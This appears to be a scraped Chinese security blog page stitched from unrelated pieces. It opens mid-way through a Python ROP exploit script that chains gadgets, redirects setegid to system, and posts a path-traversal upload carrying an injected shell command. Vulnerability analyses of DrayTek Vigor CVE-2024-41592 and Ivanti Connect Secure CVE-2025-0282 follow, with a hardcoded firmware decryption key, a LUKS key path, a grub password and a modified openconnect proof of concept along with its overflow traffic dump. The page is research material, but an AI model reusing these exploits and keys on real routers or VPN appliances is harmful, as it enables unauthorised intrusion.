pop_rsi_ret = 0x0000000000433d27
pop_rdx_ret = 0x0000000001634a57
sub_rax_rdx_ret = 0x00000000017e7432
mov_rax_qword_ptr_rsi_ret = 0x0000000002176b34
mov_rdi_rax_pop_rbp_jmp_rdx = 0x000000000190ade9
mov_rbp_rsp_pop_rbp_ret = 0x0000000001b1da5d

add_rax_rdx_ret = 0x0000000001097367
jump_rsp = 0x0000000000430657
mov_rdi_rax_pop_rbp_jump_rdx = 0x000000000190ade9 # mov rdi, rax ; pop rbp ; jmp rdx
mprotect_plt = 0xa98eb0
setegid_got = 0x51f3f08

content  = p64(0x4261af - 0x60) + p64(0xb7d900)
content += p64(pop_rdx_ret)
content += p64(0x100)
content += p64(add_rax_rdx_ret)
content += p64(pop_rdx_ret)
content += p64(pop_rsi_ret) # next gadget
content += p64(mov_rdi_rax_pop_rbp_jump_rdx)
content += b'aaaaaaaa' # junk data
content += p64(setegid_got) #
content += p64(mov_rax_qword_ptr_rsi_ret)
content += p64(pop_rdx_ret)
content += p64(0xb1f30) # setegid libc offset -> system
content += p64(sub_rax_rdx_ret)
content += p64(0x0000000003adace7) # jmp rax
content += b'a'*0x100 + b'; touch /tmp/hacked ; '


a = content.decode('utf-8')
print(f"content: {content}")
data = {'filename':"../../../../proc/8/fd/11","content":content.decode('utf-8')}

#print(json.dumps(data))
resp = requests.post("http://localhost:3000/upload",data = json.dumps(data),headers = {"Content-Type":"application/json"})

#data =  dump.dump_all(resp.reuqest)
#print(resp.text)

Reference link

1.https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/↩
2.https://github.com/libuv/libuv/blob/fbe2d85bd5a5c370a8cacea92b3bdfbd9f98a530/src/unix/signal.c#L433↩

CVE-2024-41592 vigor 栈溢出漏洞分析

作者: 纯情
时间: 2026-01-25
分类: 网络
评论

CVE-2024-41592 vigor 栈溢出漏洞分析

Swing

2024-12-30

漏洞分析

CVE-2024-41592, draytek, vigor

…

TL；DR

这个漏洞其实是分析于今年11月份，鉴于今年只更新了四篇博客，所以就把这篇也拿出来了。这也是大概率今年最后一篇博客了。

CVE-2024-41592 是 forescout 一篇为《Breaking Into DrayTekRouters Before Threat Actors Do It Again》^[1]的漏洞报告其中的一个漏洞。

漏洞产生于 GetCGI() 函数中，在该函数中处理字符串参数会造成越界导致栈溢出。

漏洞分析

固件解压和调试准备

这里以Draytek 3910的 4.3.1 的版本作为调试测试版本，进行展开分析。固件的解密和解压不展开赘述，可以参考之前《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》 ^[2]slide 或者其他研究员的文章。

解压后能在 rootfs/firmware/vqemu/sohod64.bin 目录下找到主程序， Draytek 3910 采用了奇葩的 Linux + Qemu + RTOS 的奇葩架构，即在 arm linux操作系统上使用qemu 运行 drayos 的RTOS 操作系统。这里的调试方式采用的是使用编译 Draytek 开源的qemu代码进行编译，然后就可以正常调试。

调试之前需要对 firmware/setup_qemu_linux.sh 和 run_linux.sh 进行部分修改，例如对run_linux.sh 在 qemu-system-aarch64 添加 -s 参数方便用于调试

漏洞成因

我们通过一个有符号的 draytek 2830 的固件来快速定位到Draytek 3910 4.3.1的 GetCGI() 函数，或者直接对 QUERY_STRING 字符串进行交叉引用。

在各个 cgi 处理函数的时候都会进行一次 GetCGI 函数的调用来处理参数。

在这个函数（GetCGI）里面，当有 & 出现，就会通过 makeword 函数生成一个内存空间，然后将地址赋值到栈上，这个函数的部分逻辑伪代码如下：

v19 = sub_400BFA18("REQUEST_METHOD", a3);
if ( v19 )
{
if ( !strcmp(v19, "GET") )
{
v18 = sub_400BFA18("QUERY_STRING", a3);
if ( !v18 )
return 0;
idx = 0;
while ( *v18 )
{
*(a2 + 8 * idx) = makeword(v18, '&');   // overflow
plustospace(*(a2 + 8 * idx));
unescape_url(*(a2 + 8 * idx));
v16 = safe_strcrh(*(a2 + 8 * idx), '=');
if ( v16 )
{
*v16 = 0;
*(a2 + 8 * idx + 4LL) = v16 + 1;
}
else
{
*(a2 + 8 * idx + 4LL) = 0;
}
++idx;
}
}

这里的 (a2 + 8 * idx） 在栈上，当输入过多的 & 就有如下的效果：

会有一堆指针覆盖栈上的变量，甚至能覆盖到返回地址。

Exploit

虽然我们在GetCGI() 函数中覆盖到了返回地址，但是在各个 CGI 函数结尾的时候会有一个 FreeCtrlName 函数的调用，该函数会将将覆盖掉得返回地址的指针置零。

也正如原文章所说的，我们需要绕过这个函数

Although this seems straightforward, challenges exist. Consider the “FreeCtrlName()” function called when a
CGI handler returns (Figure 13). This function “frees” all the POST/GET request data structures, including the
query string buffer. It simply iterates over the 32-bit pointers located in the lower 4 bytes of the stack
21
DRAY:BREAK - BREAKING INTO DRAYTEK ROUTERS BEFORE THREAT ACTORS DO IT AGAIN
addresses and frees them, zeroing out the pointer values as well. Oddly, the higher 4-byte addresses (e.g.,
pointers to query string parameters values) are never freed

FreeCtrlName 函数伪代码如下：

__int64 __fastcall FreeCtrlName(__int64 result)
{
int v1; // [xsp+1Ch] [xbp+1Ch]
int i; // [xsp+2Ch] [xbp+2Ch]

v1 = result;
for ( i = 0; *(v1 + 8 * i); ++i )
{
result = sub_4061D7CC(*(v1 + 8 * i), 0x154u);
*(v1 + 8 * i) = 0;
}
return result;
}

这个函数的 free 逻辑是，遍历栈上的指针，一直free 直到为 0 为止，因此我们需要找到一个函数可以在栈上写一个 0 ，这样就能避免这个问题。在原文^[1] 甚至后来 12月在 Blackhat EU 《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》^[3]的slide 上都没有提及这个所谓的 [vulnerable-cgi-page].cgi 是什么。

但是通过一些途径我们还是能找到这个能设置 0 的 cgi ，思路也是比较简单

首先先将所有的 CGI 调用函数定义出来，
过滤出不需要授权的 CGI 函数
粗浅的记得是只要函数里没有 CGIbyFieldName = GetCGIbyFieldName(v6 + 32, "sFormAuthStr");的调用就不需要授权
猜想哪些函数可以写 0 ，例如 atoi(query_string), query_string 是 HTTP 请求传入的参数

通过以上操作，我们其实很快就能找到一个不用授权、且参数可控可写 0 的CGI。最后的效果就是我们可以控制返回地址跳转到一个内容完全可控的地址里（内容为具体参数的内容）且由于程序运行在 qemu 环境上，因此我们可以在目标地址上写入任意的shellcode。但是我们需要逃逸到 qemu 外面，本身程序提供了一个， virtcons_out 这个函数，可以执行一些特殊的命令，我们可以在第一个参数中拼接命令注入来在host上执行任意命令。

Reference link

1.《Breaking Into DrayTekRouters Before Threat Actors Do It Again》https://www.forescout.com/resources/draybreak-draytek-research/↩
2.《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》https://www.youtube.com/watch?v=CD8HfjdDeuM↩
3.《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》 https://i.blackhat.com/EU-24/Presentations/EU24-Dashevskyi-When-Remote-Shells-Fall-Into-The-Same-Hole.pdf↩

CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析

作者: 纯情
时间: 2026-01-25
分类: 网络
评论

CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析

Swing

2025-01-29

漏洞分析

CVE-2025-0282, pulse, vpn

…

TL; DR

2025年（暨蛇年）第一篇博客文章，顺便祝我的博客读者新春快乐吧。

1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警：

https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/

1月10日 watchtowr 就发布了漏洞分析

https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/

1月10日我也发了我的漏洞复现推特： https://x.com/bestswngs/status/1877715807506952486

这次 diff版本2.3 build 3431 和 2.5，特意留到了除夕夜发这篇文章..

固件提取

这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助，具体流程如下：

添加磁盘到虚拟机里后，用 lvdisplay 可以看到几个分区

──(root㉿kali)-[/home/kali/Desktop]
└─# lvdisplay
--- Logical volume ---
LV Path                /dev/groupA/home
LV Name                home
VG Name                groupA
LV UUID                vPWDHH-AlTq-GvBS-UAnf-orT1-yT2d-TdbWyK
LV Write Access        read/write
LV Creation host, time (none), 2025-01-09 17:28:21 -0500
LV Status              NOT available
LV Size                <4.87 GiB
Current LE             1246
Segments               1
Allocation             inherit
Read ahead sectors     auto

--- Logical volume ---
LV Path                /dev/groupA/runtime
LV Name                runtime
VG Name                groupA
LV UUID                dFDVOl-kYQR-J3N5-3HNC-toXc-9947-sj0yzc
LV Write Access        read/write
LV Creation host, time (none), 2025-01-09 17:28:39 -0500
LV Status              NOT available
LV Size                <19.46 GiB
Current LE             4981
Segments               2
Allocation             inherit
Read ahead sectors     auto

--- Logical volume ---
LV Path                /dev/groupZ/home
LV Name                home
VG Name                groupZ
LV UUID                cOTBS1-oaYw-PlAt-puTS-Uvq5-6C91-pK6QHK
LV Write Access        read/write
LV Creation host, time (none), 2024-10-07 06:47:49 -0400
LV Status              NOT available
LV Size                6.72 GiB
Current LE             1721
Segments               1
Allocation             inherit
Read ahead sectors     auto

可以看到这几个都是 lvm2 加密的，没法直接 mount

┌──(root㉿kali)-[/home/kali/Desktop]
└─# fdisk -l
Disk /dev/sdb: 80.09 GiB, 86000000000 bytes, 167968750 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xc45d0b27

Device     Boot Start       End   Sectors  Size Id Type
/dev/sdb1  *     2048 167968749 167966702 80.1G 83 Linux


Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device     Boot     Start       End   Sectors  Size Id Type
/dev/sda1           16065    224909    208845  102M 83 Linux
/dev/sda2          224910    433754    208845  102M 83 Linux
/dev/sda3          449820    658664    208845  102M 83 Linux
/dev/sda4          674730 167766794 167092065 79.7G 85 Linux extended
/dev/sda5          674731  14779799  14105069  6.7G 83 Linux
/dev/sda6        14779801  30089744  15309944  7.3G 83 Linux
/dev/sda7        30089746  65802239  35712494   17G 83 Linux
/dev/sda8        65802241  81112184  15309944  7.3G 83 Linux
/dev/sda9        81112186 116824679  35712494   17G 83 Linux
/dev/sda10      116824681 132134624  15309944  7.3G 82 Linux swap / Solaris
/dev/sda11      132134626 167766794  35632169   17G 83 Linux

┌──(root㉿kali)-[/home/kali/Desktop]
└─# mount /dev/groupZ/home /mnt/runtime

┌──(root㉿kali)-[/home/kali/Desktop]
└─# mount /dev/sda1 /mnt/runtime

┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls /mnt/runtime
boot.b  compact-file  coreboot.img  disksize  grub  kernel  log_coreboot  lost+found  VERSION

我们在 /dev/sda1 找到了对应的 kernel 和 coreboot.img，可以看看到 coreboot.img 作为initrd

└─# cat /mnt/runtime/grub/grub.cfg
set default=0
set timeout=5
insmod ext2
password 07ow3w3d743
serial --unit=0 --speed=9600 --word=8 --parity=no --stop=1
menuentry "Current" {
set root=(hd0,2)
linux /kernel system=A rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
initrd /coreboot.img
}
menuentry "Factory Reset" {
set root=(hd0,1)
linux /kernel system=Z noconfirm rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
initrd /coreboot.img
}

decrypt

coreboot.img 作为initrd

我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了，在 kernel中populate_rootfs里面写死密钥的AES解密

>>>DRAMFS_AES_KEY = bytes.fromhex("13D7B32E2600B7747D80FBA8F8D5C7CA")
>>>
>>>realkey = strxor(DRAMFS_AES_KEY[:4][::-1], bytes.fromhex('99ED2BF2'))[::-1]
2 realkey += strxor(DRAMFS_AES_KEY[4:8][::-1], bytes.fromhex('AEEF41FE'))[::-1]
3 realkey += strxor(DRAMFS_AES_KEY[8:12][::-1], bytes.fromhex('141058C7'))[::-1]
4 realkey += strxor(DRAMFS_AES_KEY[12:16][::-1], bytes.fromhex('D2ED180E'))[::-1]
>>>realkey
b'\xe1\xfc^\xb7\xd8AX\xda\xba\xd8\xeb\xbc\xf6\xcd*\x18'

binary ninja 带有神奇的优化，

优化出来就是异或完的

ffffffff826d0815            int64_t initrd_start_3 = initrd_start;
ffffffff826d081c            int32_t initrd_end_1 = (*(uint32_t*)initrd_end);
ffffffff826d082e            int64_t* rax_1 = crypto_alloc_base("aes", 0, 0);
ffffffff826d0833            uint64_t i = (uint64_t)(initrd_end_1 - initrd_start_3);
ffffffff826d083f            int64_t rcx_1;
ffffffff826d083f            int64_t rdx_1;
ffffffff826d083f            int64_t r8_1;
ffffffff826d083f
ffffffff826d083f            if (rax_1 <= -0x1000)
ffffffff826d083f{
ffffffff826d0875                int32_t var_6c_1 = 0xda5841d8;
ffffffff826d0889                int32_t var_70 = 0xb75efce1;
ffffffff826d088c                int32_t var_68_1 = 0xbcebd8ba;
ffffffff826d088f                int32_t var_64_1 = 0x182acdf6;
ffffffff826d089b                rcx_1 = rax_1[1](rax_1, &var_70, 0x10);
ffffffff826d089f                int32_t rax_2 = 0;

通过简单的逆向，我们很快就可以写出一份解密代码，我们可以把 coreboot.img 解密后出来一份gzip 压缩的cpio文件。

# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:53]
$ file out2.bak
out2.bak: gzip compressed data, last modified: Sat Oct  5 17:32:45 2024, max compression, from Unix, original size modulo 2^32 118361088

# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:49]
$ gzip -d out2.gz

$ file out2
out2: ASCII cpio archive (SVR4 with no CRC)

cpio 解出来的目录结构如下：

1
2
3

# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3/initrd [17:55:34]
$ ls
bin     dash    dev     etc     gzip    insmod  lib     modules out2    rmmod   sbin    tmp     usr

etc/lvmeky 是其他上面几个 lvm 分区的 key , 使用 crypsetup 命令解密后可以进一步 mount 磁盘

1 2	sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home sudo mount /dev/mapper/groupA_home /mnt/disk1

shell 获取

/root/home/bin/dsconfig.pl 是进入后的shell
其中如果DSSys::isDebugBuild 返回是调试版本就会直接给出shell的选项

这里就是会调用 sub shell {} 方法

sub shell{
return "" if (!DSSys::isDebugBuild());
print "set DISPLAY variable if you want to start an xterm\n";

my ($install) = $ENV{'DSINSTALL'} =~ /(\S*)/;
DSSafe::system("$install/bin/dsshell");

return "";
}

通过简单逆向这个程序，我们就很快能获得一个带有调试功能的固件了（具体操作留给读者了，很简单）

CVE-2025-0282

Diff patched

可以看到这里新加了一个长度判断，之前存在栈溢出

memset(dest, 0, sizeof(dest));
strncpy(dest, *(const char **)(a1 + 140), v23);
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}

PoC

最早的poc构造是根据 watchtowr 的文章，魔改 openconnect^[1] 的 pulse.c 代码

if (bytes[0])
buf_append(reqbuf, " clientIp=%s", bytes);
+ buf_append(reqbuf, " clientCapabilities=%s", bytes);
+ for(unsigned int n=0; n<100; n++)
+       buf_append(reqbuf, "AAAAAAAAAAAAAAAA");
buf_append(reqbuf, "\\n%c", 0);
ret = send_ift_packet(vpninfo, reqbuf);

编译的时候需要一个 vpn.cript , 我这里用的是 https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads

1	/configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4

poc

$ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv
Attempting to connect to server 172.16.64.222:443
Connected to 172.16.64.222:443
SSL negotiation with 172.16.64.222
Server certificate verify failed: signer not found

Certificate from VPN server "172.16.64.222" failed verification.
Reason:signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:4fW+U987xNSV4e/eojrHz/Cr1pGxIIF0lraaXwBKQ2A=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 172.16.64.222 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
> GET / HTTP/1.1
> Host: 172.16.64.222
> User-Agent: Open AnyConnect VPN Agent v9.12-unknown
> Content-Type: EAP
> Upgrade: IF-T/TLS 1.0
> Content-Length: 0
>
Got HTTP response: HTTP/1.1 101 Switching Protocols
Content-type:application/octet-stream
Pragma:no-cache
Upgrade:IF-T/TLS 1.0
Connection:Upgrade
HC_HMAC_VERSION_COOKIE: 1
supportSHA2Signature:1
Strict-Transport-Security:max-age=31536000
accept-ch:Sec-CH-UA-Platform-Version
> 0000:  00 00 55 97 00 00 00 01  00 00 00 14 00 00 00 00  |..U.............|
> 0010:  00 01 02 02                                       |....|
Read 20 bytes of IF-T/TLS record
< 0000:  00 00 55 97 00 00 00 02  00 00 00 14 00 00 01 f5  |..U.............|
< 0010:  00 00 00 02                                       |....|
IF-T/TLS version from server: 2
> 0000:  00 00 0a 4c 00 00 00 88  00 00 06 a1 00 00 00 01  |...L............|
> 0010:  63 6c 69 65 6e 74 48 6f  73 74 4e 61 6d 65 3d 75  |clientHostName=u|
> 0020:  62 75 6e 74 75 20 63 6c  69 65 6e 74 49 70 3d 31  |buntu clientIp=1|
> 0030:  39 38 2e 31 39 2e 32 34  39 2e 31 38 38 20 63 6c  |98.19.249.188 cl|
> 0040:  69 65 6e 74 43 61 70 61  62 69 6c 69 74 69 65 73  |ientCapabilities|
> 0050:  3d 31 39 38 2e 31 39 2e  32 34 39 2e 31 38 38 41  |=198.19.249.188A|
> 0060:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0070:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0080:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0090:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0100:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0110:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0120:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0130:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0140:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0150:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0160:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0170:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0180:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0190:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0200:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0210:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0220:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0230:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0240:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0250:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0260:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0270:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0280:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0290:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0300:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0310:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0320:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0330:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0340:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0350:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0360:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0370:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0380:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0390:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0400:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0410:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0420:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0430:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0440:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0450:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0460:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0470:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0480:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0490:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0500:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0510:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0520:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0530:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0540:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0550:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0560:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0570:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0580:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0590:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0600:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0610:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0620:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0630:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0640:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0650:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0660:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0670:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0680:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0690:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 0a  |AAAAAAAAAAAAAAA.|
> 06a0:  00                                                |.|
Read 20 bytes of IF-T/TLS record
< 0000:  00 00 55 97 00 00 00 05  00 00 00 14 00 00 01 f6  |..U.............|
< 0010:  00 0a 4c 01                                       |..L.|
> 0000:  00 00 55 97 00 00 00 06  00 00 00 22 00 00 00 02  |..U........"....|
